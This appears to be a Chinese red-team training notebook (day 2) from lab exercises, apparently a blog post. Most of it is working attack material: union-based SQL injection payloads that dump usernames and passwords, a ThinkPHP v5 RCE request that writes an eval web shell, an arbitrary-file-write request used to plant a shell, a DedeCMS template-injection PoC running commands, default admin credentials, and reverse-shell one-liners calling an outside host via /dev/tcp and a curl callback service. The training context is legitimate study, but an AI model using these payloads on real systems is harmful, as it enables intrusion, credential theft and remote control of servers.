红队培训---day2
sql注入
基础查询语句介绍
mysql免密登录(前提是拿到root权限)
mysql 的配置文件它位于/etc/my.cnf或是/etc/mysql/my.cnf
在其中添加(比如ubuntu是/etc/mysql/my.cnf)
1 | [mysqld] |
然后重启服务
手注
首先要先判断字段数(order by到报错,比如4报错,说明只有3个字段)、然后查库名、表名、字段名
information_schema数据库schemata:information_schema数据库中存放数据库信息的表
tables:information_schema数据库中存放所有数据库中表的信息的表(这个表的利用一般是查TABLE_SCHEMA、TABLE_NAME)
columns:information_schema数据库中记录所有数据库中所有表中的字段信息的表(这个表的利用一般是查TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME)
常用查询语句
获取所有的库名的查询语句为:
1 | select schema_name from information_schema.schemata; |
获取所有的表名的查询语句为
1 | select table_name from information_schema.tables; |
获取指定库下的表名的查询语句为:
1 | select table_name from information_schema.tables where table_schema='库名'; |
获取所有的列名的查询语句为:
1 | select column_name from information_schema.columns; |
获取指定表下的列名的查询语句为:
1 | select column_name from information_schema.columns where table_name ='表名'; |
回显点问题
用group_concat()函数
比如select table_name from information_schema.tables where table_schema='库名';这个语句可能只会显示一条表名数据,比如只显示第一条数据columns_priv
那么可以用group_concat()拼接一下,把这个字段中的所有数据拼接起来一起显示出来
1 | select group_concat(table_name) from information_schema.tables where table_schema='库名'; |

联合查询
判断字段数
1 | ' order by 3# |
查版本和当前数据库名
1 | ' union select version(),database(),2# |
查表名
1 | ' union select 1,group_concat(table_name),group_concat(table_schema) from information_schema.tables where table_schema='geek' # |
查字段名
1 | ' union select 1,group_concat(column_name),group_concat(table_name) from information_schema.columns where table_name='l0ve1ysq1' # |
爆数据
1 | ' union select 1,group_concat(username,0x2d,password),2 from l0ve1ysq1 # |
万能密码
字符型
[极客大挑战 2019]LoveSQL:字符型注入
双写绕过
[极客大挑战 2019]BabySQL:双写绕过
报错注入
[极客大挑战 2019]HardSQL:报错注入
布尔盲注
[极客大挑战 2019]FinalSQL:布尔盲注
sqlmap
前台漏洞利用方式
thinkphp v5 rce
根据fscan的扫描结果
直接按照poc打了
写shell(最好先pwd一下获取路径)
1 | ?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/var/www/public/1.php&vars[1][]=<%3fphp+%40eval($_POST[1])%3f> |

成功命令执行()
简单代码审计
拿源码
根据fscan扫描结果,有个备份源码泄露
这个文件主要是用editor.php

然后下载根据源码审出大概的漏洞点是在include/filesave.php
1 | <?php |
他可以打开传入的file参数的文件,然后将传入的data参数的内容写进这个文件,所以可以直接用来写一句话木马
访问editor.php,点击保存按钮,然后抓包看到
1 | POST /include/filesave.php HTTP/1.1 |
对应上include/filesave.php,那既然这样就可以直接写shell
1 | POST /include/filesave.php HTTP/1.1 |
然后测试,成功
织梦CMS v5.8.1 ssti模板注入
poc
1 | GET /plus/flink.php?dopost=save HTTP/1.1 |
漏洞验证
但是需要绕过,可以先测试哪些危险函数可用
可通过反撇号直接执行代码
1 | <?php echo `whoami`;?> |

可用的api(仅本靶场)
1 | /plus/flink.php?dopost=save |
kkcms
这个主要是练习,看源码特征然后识别框架
网络问题,一直连不上
后台漏洞利用
飞飞cms
10.3.4.159
直接扫描器开扫了
dirsearch扫到后台
默认密码:admin:admin888
反弹shell
1 | curl callback.red/sh4ll/ip:port |
然后就会回显各种弹shell的payload
1 | (bash -i >& /dev/tcp/1.1.1.1/404 0>&1)||(/bin/bash -i > /dev/tcp/1.1.1.1/404 0<& 2>&1)||(exec 5<>/dev/tcp/1.1.1.1/404;cat <&5 | while read line; do $line 2>&5 >&5; done)||(exec /bin/sh 0 |







![[记录]尝试shiro有key无链利用,但失败](/img/c1/3.webp)